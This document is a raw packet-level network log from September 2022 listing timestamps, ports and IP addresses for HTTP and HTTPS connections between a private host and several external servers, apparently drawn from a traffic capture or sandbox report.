Sep 2, 2022 14:02:22.335246086 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335261106 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335278034 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335299969 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335321903 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335340023 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335376024 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335392952 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335395098 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335412025 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335428953 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335429907 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335445881 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335457087 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335462093 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335479021 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335481882 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335500956 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335522890 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335529089 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335546970 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335572004 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335598946 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335603952 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335617065 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335633039 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335649967 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335658073 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335666895 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335684061 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335684061 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335700035 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335711002 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335716963 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335732937 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335740089 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335750103 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.335760117 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335781097 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.335800886 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.338521957 CEST	80	49796	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.338619947 CEST	49796	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.341111898 CEST	80	49789	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.346714020 CEST	80	49794	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.346883059 CEST	49794	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.361916065 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.362060070 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.388065100 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388089895 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388107061 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388118982 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388134956 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388153076 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388259888 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388278008 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388283014 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.388295889 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388313055 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388333082 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.388356924 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.388561964 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388581038 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388597012 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388613939 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388626099 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.388631105 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388648987 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388652086 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.388664961 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388684034 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388689995 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.388712883 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388722897 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.388729095 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388757944 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388760090 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.388797998 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388797998 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.388814926 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388839006 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388840914 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.388859987 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388875961 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.388883114 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.388923883 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.389558077 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.389579058 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.389595032 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.389626026 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.389659882 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.441137075 CEST	80	49790	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.441205978 CEST	49790	80	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.496799946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.496829987 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.496845007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.496860981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.496877909 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.496890068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.496968031 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.497000933 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.497343063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.497405052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.497419119 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.497452021 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.497689009 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.497720957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.497735977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.497745991 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.497776031 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.498574018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.498598099 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.498610020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.498641968 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.498661995 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.498756886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.498788118 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.498800993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.498817921 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.498838902 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.499145031 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.499169111 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.499186993 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.499217987 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.499325991 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.499373913 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.499373913 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.499387026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.499414921 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.499725103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.499749899 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.499762058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.499785900 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.499798059 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.499948978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.499969959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.499984026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.500013113 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.662431955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.662473917 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.662503958 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.662535906 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.662535906 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.662561893 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.662581921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.662590981 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.662643909 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.663098097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.663130999 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.663145065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.663192034 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.663568020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.663598061 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.663614035 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.663647890 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.663666010 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.663742065 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.663767099 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.663784027 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.663815975 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.663862944 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.663904905 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.663924932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.663943052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.663970947 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.664448977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.664477110 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.664493084 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.664525986 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.664530039 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.664576054 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.664591074 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.664592981 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.664637089 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.665174007 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.665205956 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.665230989 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.665237904 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.665250063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.665261030 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.665276051 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.665282965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.665293932 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:22.665306091 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.665326118 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:22.720424891 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.722918034 CEST	49796	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.723155975 CEST	49794	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.723180056 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.729644060 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.729794979 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.751024008 CEST	49797	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.751091003 CEST	49798	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.751157999 CEST	443	49798	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.751228094 CEST	49798	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.755454063 CEST	49798	443	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.755486012 CEST	443	49798	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.757494926 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.757520914 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.757873058 CEST	443	49795	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.759377956 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.759866953 CEST	49795	443	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.778230906 CEST	80	49796	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.778309107 CEST	49796	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.779937029 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.779978991 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.779995918 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780014038 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780030012 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780046940 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780047894 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780065060 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780067921 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780075073 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780086994 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780107975 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780127048 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780134916 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780144930 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780169010 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780191898 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780246973 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780265093 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780284882 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780303955 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780318975 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780349016 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780380011 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780380964 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780397892 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780420065 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780437946 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780440092 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780459881 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780476093 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780493021 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780495882 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780515909 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780523062 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780544996 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780558109 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780565977 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780584097 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780600071 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780603886 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780616999 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780622005 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780625105 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780633926 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780649900 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780661106 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780667067 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780673027 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780683041 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780689001 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780699968 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780713081 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780719042 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780735016 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780740023 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780751944 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780762911 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780769110 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780781984 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780791998 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780806065 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780807972 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780821085 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780831099 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780838966 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780844927 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780855894 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780859947 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780872107 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780877113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780895948 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780901909 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780919075 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780919075 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780936956 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780940056 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780950069 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780966043 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780977964 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.780983925 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.780998945 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781013012 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781017065 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781033993 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781040907 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781052113 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781065941 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781070948 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781088114 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781099081 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781116962 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781126976 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781135082 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781151056 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781152964 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781168938 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781176090 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781186104 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781198978 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781236887 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781244993 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781263113 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781294107 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781322956 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781328917 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781387091 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781404972 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781420946 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781439066 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781455040 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781466961 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781471968 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781488895 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781501055 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781506062 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781538010 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781554937 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781588078 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781605005 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781644106 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781652927 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781661987 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781678915 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781682968 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781696081 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781718969 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.781728029 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781757116 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.781759977 CEST	49768	80	192.168.2.6	62.204.41.123
